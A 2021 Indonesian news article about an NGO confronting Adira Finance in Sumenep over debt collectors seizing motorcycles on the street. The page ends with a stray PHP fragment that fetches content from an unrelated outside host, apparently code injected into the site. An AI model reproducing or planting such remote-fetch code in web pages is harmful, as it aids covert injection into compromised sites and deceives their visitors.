Debt Collector Resahkan Masyarakat, KPK Nusantara Audensi dengan Adira Sumenep

Jumat, 29 Oktober 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Sumenep l Jejakkasus.info –  Lembaga KPK Nusantara DPC Sumenep menggelar Audensi dengan Adira Finance di kantornya yang terletak di Jalan Pahlawan guna menindaklanjuti kasus penyitaan motor ditengah jalan yang dilakukan oleh pihak Eksternal Adira Finance. Jumat, 29/10/2021.

Sebelumnya, Lembaga KPK Nusantara Sumenep melaporkan persoalan itu ke Polsek Kota, Kabupaten Sumenep agar bisa ditindak tegas sesuai dengan hukum dan Undang Undang yang berlaku.

Andi Kusmanto, mengatakan audensi tersebut digelar demi kenyamanan untuk debitur (Konsumen) agar perampasan motor ditengah jalan tidak terjadi lagi terhadap masyarakat. Karena menurutnya cara-cara seperti itu adalah cara layaknya premanisme dan sangat meresahkan masyarakat.

“Tidak dapat dibenarkan kalau pengambilan barang itu tanpa proses proses yang diluar prosedur. Kami mengharap kepada masyarakat atau konsumen yang mempunyai permasalahan dengan Debt Colector dijalan agar tidak memberikan unitnya dijalan tanpa menunjukkan surat perintah dari pihak terkait yang ada kejelasan legal standingnya,” jelas Andi.

Sementara itu, Sekretaris KPK Nusantara, Zainal Fattah yang biasa disapa Abah menegaskan agar oknum oknum yang bertugas merampas motor dijalan tidak semakin merajalela.

Baca Juga:  Polda Lampung Tindak Tegas Pelaku Penimbun BBM, Sejumlah Oknum Nakal Penimbun BBM Wilayah Lampung di Gulung Tekab 308

“Niat kami bersama rekan-rekan KPK Nusantara Sumenep dalam Audensi kali ini agar tidak terjadi lagi hal- hal yang sangat meresahkan masyarakat di Kabupaten Sumenep terkait perampasan motor yang modusnya bermacam -macam cara dilakukan untuk mendapatkan unit, baik sepeda motor maupun mobil,” ucap Abah Zainal.

Aktivis Senior ini juga berharap kepada Adira Finance jika melakukan penarikan harus dengan prosedural. ‘ Intinya harus sesuai dengan SOP dan tahapan- tahapannya harus dilalui,” tegas Zainal.

Selain itu, kata dia, tidak boleh terjadi lagi perampasan dari pihak ke- 3 Adira yakni eksternal. “Terkecuali ada surat pengajuan dan ada surat perintah dari pengadilan karena yang berhak mengeksekusi suatu barang itu adalah pengadilan,” tukasnya.

Ketika disinggung bagaimana Proses pelaporan yang sudah ada di meja Kepolisian, Zainal menuturkan akan terus berlanjut hingga pelaku mendapatkan sangsi hukum.

“Kalau masalah Pelaporan terus berjalan dan akan tetap kita kawal agar diproses secara hukum dan sesuai dengan UU yang berlaku,” tandasnya.

Baca Juga:  Forkopimda dan Dandim 0827 Sumenep Tinjau Kapasitas RSDC di Kecamatan Batuan

Usai Audensi, Penasehat Hukum KPK Nusantara Tri Sutrisno Effendi memaparkan kepada awak media bahwa pada intinya pertemuan audiensi tersebut belom menemukan titik jelas.

“Karena dari pihak Adira Finance tidak bisa dan tidak berani menunjukkan data-data fidusia yang ingi kami ketahui. Selain itu, hingga saat ini Pihak Lembaga Adira Finance masih bersikokoh bahwa perampasan- perampasan yang dilakukan dijalan itu mempunyai dasar hukum. Akan tetapi, ketika kami mempertanyakan apa dasar hukumnya melakukan perampasan, pihak Adira terkesan berkelit dengan mengatakan bahwa hal itu tidak bisa dipublikasikan. Kan lucu,” Keluhnya.

Disisi lain, Kuasa Hukum dari Adira Finance, Ach. Agus Suprayitno SH waktu diwawancarai mengatakan bahwa pertemuan tersebut hanya sebatas audensi.

“Pertemuan tadi sifatnya audensi. Jadi teman- teman dari LSM KPK Nusantara ini hanya ingin mengetahui kronologisnya seperti apa kemudian menanyakan legalitas penarikan itu. Tujuannya adalah agar kedepan tidak ada lagi hal hal yang sangat merugikan masyarakat Sumenep khususnya kepada masyarakat Indonesia,” ucapnya.

Baca Juga:  Ungkap Kasus Atensi Kapolri, Polsek Jebus Tangkap Perjudian Jenis Dadu

Sebetulnya, kata dia, Jika berbicara tentang legal standing penarikan itu sebenarnya pihak Adira ini ada dua, yakni Internal dan Eksternal.

“Sementara yang melakukan penarikan adalah pihak eksternal. Dari pihak eksternal sendiri itu kan ada lembaganya juga. Jadi untuk pasnya bagaimana mekanisme mereka melakukan penarikan dan seperti apa silahkan konfirmasi ke PT yang menaungi pihak eksternal tersebut,” terang Agus kepada awak media.

Jika memang masih belum jelas, pihaknya menyarankan agar Tim media menanyakan langsung kepada legal standing yang dari Surabaya. “Jika masih belum jelas silahkan nanti mendatangi tim legal yang dari Surabaya. Kebetulan kami hanya legal Corporate saja,” imbuh Agus.

Dalam pertemuan itu, Pihak PT eksternal tidak bisa menghadiri audensi tanpa alasan yang jelas.

Sementara itu, ketika disinggung apa alasan dari pihak PT. Eksternal tidak menghadiri audensi, Agus mengatakan dengan singkat, “Kebetulan belum hadir,” tandasnya. (Limbad)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Tag :

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

Peristiwa

Kecelakaan Tunggal di Kota Depok, Mobil tabrak Minimarket

Rabu, 16 Okt 2024 - 14:09 WIB

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>